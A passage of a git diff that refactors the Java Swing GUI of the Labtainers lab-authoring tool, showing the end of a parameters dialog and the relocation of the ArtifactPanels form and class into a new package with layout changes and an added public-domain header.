javax.swing.GroupLayout.PREFERRED_SIZE, 397, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(UpdateButton) + .addComponent(CancelButton)) + .addContainerGap(39, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void CreateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CreateButtonActionPerformed + createButton(); + }//GEN-LAST:event_CreateButtonActionPerformed + + private void RemoveAllButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RemoveAllButtonActionPerformed + removeAllButton(); + }//GEN-LAST:event_RemoveAllButtonActionPerformed + + private void UpdateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpdateButtonActionPerformed + updateButton(); + }//GEN-LAST:event_UpdateButtonActionPerformed + + private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing + mainUI.setParamsClosed(); + }//GEN-LAST:event_formWindowClosing + + private void CancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CancelButtonActionPerformed + mainUI.setParamsClosed(); + setVisible(false); + dispose(); + }//GEN-LAST:event_CancelButtonActionPerformed + + // BUTTONS // + + // Adds a new param panel + private void createButton(){ + addParamsPanel(new ParamPanels(this, data.rowCount+1)); + paramsScrollPaneBar.setValue(paramsScrollPaneBar.getMaximum()); + } + + // Updates the param data object basd on the current param configuration UI state + private void updateButton(){ + System.out.println("Update button"); + data.updateListofParams(PanelofParams); + if(data.writeParamsConfig(true) != null){ + saved = new ParamsData(data); + this.mainUI.getCurrentData().setParamsData(saved); + this.mainUI.updateParameters(); + } + mainUI.setParamsClosed(); + setVisible(false); + dispose(); + } + + // Removes all the param panels + private void removeAllButton(){ + if(JOptionPane.showConfirmDialog(null, "Are you sure you want to remove all?") == JOptionPane.YES_OPTION){ + removeAllParams(); + } + } + + + // CORE FUNCTIONS// + + // Adds param panel + public int paramsPanePanelLength = 0; + private JScrollBar paramsScrollPaneBar; + private void addParamsPanel(ParamPanels panel){ + //Resize the JPanel Holding all the ParamsPanels to fit another one (makes the scroll bar resize and should show all objects listed) + paramsPanePanelLength+=panel.getPreferredSize().height+5; + PanelofParams.setPreferredSize(new Dimension(0,paramsPanePanelLength)); + + // Create the Param Panel and add it + data.rowCount++; + PanelofParams.add(panel); //takes in parent(this), containerlist, rowcount + + // Redraw GUI with the new Panel + PanelofParams.revalidate(); + PanelofParams.repaint(); + } + + // Removes all the param lines for the lab *note: this doesn't update parameter.config or the paramsData until the user hits the update button + private void removeAllParams(){ + data.rowCount = 0; + paramsPanePanelLength = 0; + PanelofParams.setPreferredSize(new Dimension(0,paramsPanePanelLength)); + Component[] componentList = PanelofParams.getComponents(); + for(Component c: componentList){ + PanelofParams.remove(c); + } + + PanelofParams.revalidate(); + PanelofParams.repaint(); + } + + // loads the param panels based on the current data + protected void loadUI(){ + removeAllParams(); + //redraw the param + for(int i=0; i < data.listofParams.size(); i++) + loadParam(data.listofParams.get(i), i+1); + } + + // Load the param panel into GUI + private void loadParam(ParamValues paramVal, int rowNum){ + ParamPanels newParam = new ParamPanels(this, rowNum, + paramVal.paramID, + paramVal.fileList, + paramVal.operator, + paramVal.symbol, + paramVal.hashedString, + paramVal.upperBound, + paramVal.lowerBound, + paramVal.step, + paramVal.comments); + addParamsPanel(newParam); + } + + //Updates the list of params and redraws them on screen + public void refresh(){ + data.updateListofParams(PanelofParams); + loadUI(); + } + + + // OTHER // + + public void refactorContainerReferenceInUI(String oldName, String newName){ + data.updateListofParams(PanelofParams); + data.refactorContainerReference(oldName, newName); + saved.refactorContainerReference(oldName, newName); + loadUI(); + } + + + + // GETTERS // + + //Gets the panel holding the params + protected JPanel getPanelofParams(){ + return PanelofParams; + } + + + /** + * @param args the command line arguments + */ + public static void main(String args[]) { + /* Set the Nimbus look and feel */ + // + /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. + * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html + */ + try { + for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + javax.swing.UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } catch (ClassNotFoundException ex) { + java.util.logging.Logger.getLogger(ParamsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (InstantiationException ex) { + java.util.logging.Logger.getLogger(ParamsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (IllegalAccessException ex) { + java.util.logging.Logger.getLogger(ParamsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (javax.swing.UnsupportedLookAndFeelException ex) { + java.util.logging.Logger.getLogger(ParamsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } + // + // + // + // + + /* Create and display the dialog */ + java.awt.EventQueue.invokeLater(new Runnable() { + public void run() { + ParamsUI dialog = new ParamsUI(new javax.swing.JFrame(), true); + dialog.addWindowListener(new java.awt.event.WindowAdapter() { + @Override + public void windowClosing(java.awt.event.WindowEvent e) { + System.exit(0); + } + }); + dialog.setVisible(true); + } + }); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton CancelButton; + private javax.swing.JButton CreateButton; + private javax.swing.JPanel PanelofParams; + private javax.swing.JButton RemoveAllButton; + private javax.swing.JScrollPane ScrollPaneOfParams; + private javax.swing.JButton UpdateButton; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel5; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ArtifactPanels.form similarity index 65% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.form rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ArtifactPanels.form index f2c6f5439..430ceb439 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.form +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ArtifactPanels.form @@ -2,8 +2,20 @@
+ + + + + + + + + + + + - + @@ -23,107 +35,157 @@ - - - - - - - + + + + + + + - - + + + + + - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - - + + - - - - - - - - - + - - - + + + + + - - + + - + - - - + + + + + + + + + + - - - - - - - - + + + - - - - - - - - - + + + - + @@ -156,12 +218,25 @@ + + + + + + + + + + + + + - + @@ -179,19 +254,6 @@ - - - - - - - - - - - - - @@ -211,6 +273,7 @@ + @@ -247,36 +310,12 @@ - + - + - - - - - - - - - - - - - - - - - - - - - - - - - + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ArtifactPanels.java similarity index 55% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.java rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ArtifactPanels.java index 10d417cca..1f7e17601 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.java +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/resultsui/ArtifactPanels.java @@ -1,31 +1,58 @@ /* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package ResultsUI; +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.resultsui; -import static ResultsUI.ParamReferenceStorage.FieldType_ITEMS; -import static ResultsUI.ParamReferenceStorage.LOG_ACCESIBLE_FieldType; -import static ResultsUI.ParamReferenceStorage.LOG_TS_ACCESSIBLE_LineType; -import static ResultsUI.ParamReferenceStorage.LineType_ITEMS; -import static ResultsUI.ParamReferenceStorage.SpecialTimeStampType; -import static ResultsUI.ParamReferenceStorage.TimestampType_ITEMS; -import static ResultsUI.ParamReferenceStorage.justFieldType; -import static ResultsUI.ParamReferenceStorage.lineParamAccessible; -import static ResultsUI.ParamReferenceStorage.timeStampDelimiterAccessible; -import ResultsUI.ToolTipHandlers.ToolTipWrapper; -import static ResultsUI.ToolTipHandlers.setComboItems; import java.awt.Dimension; import java.util.ArrayList; import javax.swing.DefaultComboBoxModel; import javax.swing.JComboBox; import javax.swing.JPanel; import javax.swing.JTextField; +import javax.swing.JDialog; +import static labtainers.resultsui.ParamReferenceStorage.FieldType_ITEMS; +import static labtainers.resultsui.ParamReferenceStorage.LOG_ACCESIBLE_FieldType; +import static labtainers.resultsui.ParamReferenceStorage.LOG_TS_ACCESSIBLE_LineType; +import static labtainers.resultsui.ParamReferenceStorage.LineType_ITEMS; +import static labtainers.resultsui.ParamReferenceStorage.SpecialTimeStampType; +import static labtainers.resultsui.ParamReferenceStorage.TimestampType_ITEMS; +import static labtainers.resultsui.ParamReferenceStorage.justFieldType; +import static labtainers.resultsui.ParamReferenceStorage.lineParamAccessible; +import static labtainers.resultsui.ParamReferenceStorage.timeStampDelimiterAccessible; +import labtainers.mainui.ToolTipHandlers.ToolTipWrapper; +import labtainers.mainui.ToolTipHandlers.ToolTipWrapper; +import labtainers.goalsui.DocPanel; +import static labtainers.mainui.ToolTipHandlers.setComboItems; /** * - * @author Dan + * @author Daniel Liao */ public class ArtifactPanels extends javax.swing.JPanel { @@ -33,37 +60,46 @@ public class ArtifactPanels extends javax.swing.JPanel { ResultsUI uiResult; ResultsData dataUI; int rowNum; - + String comments=""; + + /** + * Creates new form ArtifactsPanel + */ //Creating fresh artifact line public ArtifactPanels(ResultsUI ui, ArrayList containers, int rowNum) { initComponents(); this.uiResult = ui; - this.dataUI = ui.dataUI; + this.dataUI = ui.data; this.rowNum = rowNum; - rowLabel.setText(Integer.toString(rowNum)); + + jLabel3.setText(Integer.toString(rowNum)); TimeDelimiterTextField.setVisible(false); //Load ComboBox Items + if(containers.size() > 1 && !containers.contains("ALL")) + containers.add(0, "ALL"); ContainerComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(containers.toArray(new String[containers.size()]))); setComboItems(FieldTypeComboBox, FieldType_ITEMS); setComboItems(LineTypeComboBox, LineType_ITEMS); setComboItems(TimeStampComboBox, TimestampType_ITEMS); - - this.revalidate(); - this.repaint(); } - + //Loading artifact line - public ArtifactPanels(ResultsUI ui, ArrayList containers, int rowNum, String resultTag, String container, String fileID, ToolTipWrapper fieldType, String fieldID, ToolTipWrapper lineType, String lineID, ToolTipWrapper timeStampType, String timeStampDelimiter) { + public ArtifactPanels(ResultsUI ui, ArrayList containers, int rowNum, String resultTag, String container, String fileID, ToolTipWrapper fieldType, String fieldID, ToolTipWrapper lineType, String lineID, ToolTipWrapper timeStampType, String timeStampDelimiter, String comments) { initComponents(); this.uiResult = ui; - this.dataUI = ui.dataUI; + this.dataUI = ui.data; this.rowNum = rowNum; - rowLabel.setText(Integer.toString(rowNum)); + this.comments = comments; + jLabel3.setText(Integer.toString(rowNum)); if(!timeStampDelimiterAccessible.contains(timeStampType.getItem())) TimeDelimiterTextField.setVisible(false); //Load ComboBox Items + if(containers.size() > 1 && !containers.contains("ALL")) + containers.add(0, "ALL"); + else if(containers.size() == 2 && containers.contains("ALL")) + containers.remove("ALL"); ContainerComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(containers.toArray(new String[containers.size()]))); setComboItems(FieldTypeComboBox, FieldType_ITEMS); setComboItems(LineTypeComboBox, LineType_ITEMS); @@ -79,7 +115,7 @@ public class ArtifactPanels extends javax.swing.JPanel { setLineTypeComboBox(lineType); setTimeStampComboBox(timeStampType); setTimeDelimiterTextField(timeStampDelimiter); - + this.revalidate(); this.repaint(); } @@ -93,26 +129,59 @@ public class ArtifactPanels extends javax.swing.JPanel { // //GEN-BEGIN:initComponents private void initComponents() { + jLabel3 = new javax.swing.JLabel(); + jButton1 = new javax.swing.JButton(); + UpButton = new javax.swing.JButton(); + DownButton = new javax.swing.JButton(); ArtifactPanel = new javax.swing.JPanel(); TagTextField = new javax.swing.JTextField(); ContainerComboBox = new javax.swing.JComboBox<>(); FileTextField = new javax.swing.JTextField(); FieldTypeComboBox = new javax.swing.JComboBox<>(); - LineTypeComboBox = new javax.swing.JComboBox<>(); FieldIDTextField = new javax.swing.JTextField(); + LineTypeComboBox = new javax.swing.JComboBox<>(); LineIDTextField = new javax.swing.JTextField(); TimeStampComboBox = new javax.swing.JComboBox<>(); TimeDelimiterTextField = new javax.swing.JTextField(); - DeleteButton = new javax.swing.JButton(); - rowLabel = new javax.swing.JLabel(); - UpButton = new javax.swing.JButton(); - DownButton = new javax.swing.JButton(); + DocButton = new javax.swing.JButton(); - setPreferredSize(new java.awt.Dimension(1110, 69)); + setBorder(javax.swing.BorderFactory.createEtchedBorder()); + setMaximumSize(new java.awt.Dimension(1560, 86)); + setMinimumSize(new java.awt.Dimension(1560, 86)); + setName(""); // NOI18N + setPreferredSize(new java.awt.Dimension(1580, 86)); - ArtifactPanel.setBorder(new javax.swing.border.SoftBevelBorder(javax.swing.border.BevelBorder.RAISED)); - ArtifactPanel.setMinimumSize(new java.awt.Dimension(1400, 0)); - ArtifactPanel.setPreferredSize(new java.awt.Dimension(1300, 34)); + jLabel3.setFont(new java.awt.Font("Ubuntu", 1, 48)); // NOI18N + jLabel3.setText("10"); + + jButton1.setText("Delete"); + jButton1.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + jButton1ActionPerformed(evt); + } + }); + + UpButton.setFont(new java.awt.Font("Ubuntu Condensed", 0, 12)); // NOI18N + UpButton.setText("^"); + UpButton.setMaximumSize(new java.awt.Dimension(19, 50)); + UpButton.setMinimumSize(new java.awt.Dimension(19, 31)); + UpButton.setPreferredSize(new java.awt.Dimension(19, 31)); + UpButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + UpButtonActionPerformed(evt); + } + }); + + DownButton.setFont(new java.awt.Font("Ubuntu Condensed", 0, 12)); // NOI18N + DownButton.setText("v"); + DownButton.setToolTipText(""); + DownButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DownButtonActionPerformed(evt); + } + }); + + ArtifactPanel.setBorder(javax.swing.BorderFactory.createEmptyBorder(1, 1, 1, 1)); FieldTypeComboBox.addItemListener(new java.awt.event.ItemListener() { public void itemStateChanged(java.awt.event.ItemEvent evt) { @@ -120,7 +189,9 @@ public class ArtifactPanels extends javax.swing.JPanel { } }); - LineTypeComboBox.setToolTipText("Identifies how the line is to be identified"); + FieldIDTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Field ID")); + + LineTypeComboBox.setToolTipText("Identifies how the line is to be located."); LineTypeComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Line Type")); LineTypeComboBox.addItemListener(new java.awt.event.ItemListener() { public void itemStateChanged(java.awt.event.ItemEvent evt) { @@ -128,11 +199,10 @@ public class ArtifactPanels extends javax.swing.JPanel { } }); - FieldIDTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Field ID")); - LineIDTextField.setToolTipText("Parameter based on Line Type"); LineIDTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Line ID")); + TimeStampComboBox.setToolTipText("Source of time stamps, e.g., from the file
or from log entries"); TimeStampComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Timestamp Type")); TimeStampComboBox.addItemListener(new java.awt.event.ItemListener() { public void itemStateChanged(java.awt.event.ItemEvent evt) { @@ -150,70 +220,48 @@ public class ArtifactPanels extends javax.swing.JPanel { ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(ArtifactPanelLayout.createSequentialGroup() .addContainerGap() - .addComponent(TagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 125, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(TagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(ContainerComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 116, javax.swing.GroupLayout.PREFERRED_SIZE) - .addGap(6, 6, 6) - .addComponent(FileTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(ContainerComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 134, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(FileTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(FieldTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 160, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(FieldIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 188, javax.swing.GroupLayout.PREFERRED_SIZE) - .addGap(14, 14, 14) + .addComponent(FieldIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 146, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(LineTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 165, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(LineIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 135, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(LineIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 142, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(TimeStampComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 137, javax.swing.GroupLayout.PREFERRED_SIZE) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) - .addComponent(TimeDelimiterTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 125, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(TimeStampComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 143, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(TimeDelimiterTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); ArtifactPanelLayout.setVerticalGroup( ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(TimeDelimiterTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(TimeStampComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(LineIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(LineTypeComboBox) + .addComponent(FieldIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(ArtifactPanelLayout.createSequentialGroup() .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addGroup(ArtifactPanelLayout.createSequentialGroup() - .addGap(12, 12, 12) - .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) - .addComponent(TagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) - .addComponent(ContainerComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) - .addComponent(FileTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) - .addComponent(FieldTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) - .addGroup(ArtifactPanelLayout.createSequentialGroup() - .addContainerGap() - .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE, false) - .addComponent(LineTypeComboBox) - .addComponent(LineIDTextField) - .addComponent(TimeStampComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) - .addComponent(FieldIDTextField) - .addComponent(TimeDelimiterTextField, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))) - .addContainerGap(12, Short.MAX_VALUE)) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(FileTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 40, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(FieldTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 40, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(TagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 40, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(ContainerComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 40, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGap(0, 0, Short.MAX_VALUE)) ); - ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {TimeDelimiterTextField, TimeStampComboBox}); - - DeleteButton.setText("Delete"); - DeleteButton.addActionListener(new java.awt.event.ActionListener() { + DocButton.setText("Doc"); + DocButton.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { - DeleteButtonActionPerformed(evt); - } - }); - - rowLabel.setFont(new java.awt.Font("Arial", 1, 24)); // NOI18N - rowLabel.setText("10"); - - UpButton.setText("^"); - UpButton.addActionListener(new java.awt.event.ActionListener() { - public void actionPerformed(java.awt.event.ActionEvent evt) { - UpButtonActionPerformed(evt); - } - }); - - DownButton.setText("v"); - DownButton.addActionListener(new java.awt.event.ActionListener() { - public void actionPerformed(java.awt.event.ActionEvent evt) { - DownButtonActionPerformed(evt); + DocButtonActionPerformed(evt); } }); @@ -223,61 +271,107 @@ public class ArtifactPanels extends javax.swing.JPanel { layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap() - .addComponent(rowLabel) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) - .addComponent(ArtifactPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 1390, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel3) + .addGap(6, 6, 6) + .addComponent(ArtifactPanel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(DownButton, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(UpButton, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) - .addComponent(UpButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) - .addComponent(DownButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) - .addComponent(DeleteButton) - .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jButton1) + .addComponent(DocButton)) + .addGap(23, 23, 23)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) - .addComponent(ArtifactPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 69, javax.swing.GroupLayout.PREFERRED_SIZE) - .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() - .addContainerGap() - .addComponent(rowLabel) - .addGap(19, 19, 19)) - .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) - .addGroup(layout.createSequentialGroup() - .addContainerGap() - .addComponent(UpButton) - .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) - .addComponent(DownButton)) - .addComponent(DeleteButton, javax.swing.GroupLayout.PREFERRED_SIZE, 58, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(ArtifactPanel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel3))) + .addGroup(layout.createSequentialGroup() + .addGap(6, 6, 6) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(UpButton, javax.swing.GroupLayout.PREFERRED_SIZE, 31, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jButton1)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(DownButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(DocButton)))) + .addContainerGap()) ); }//
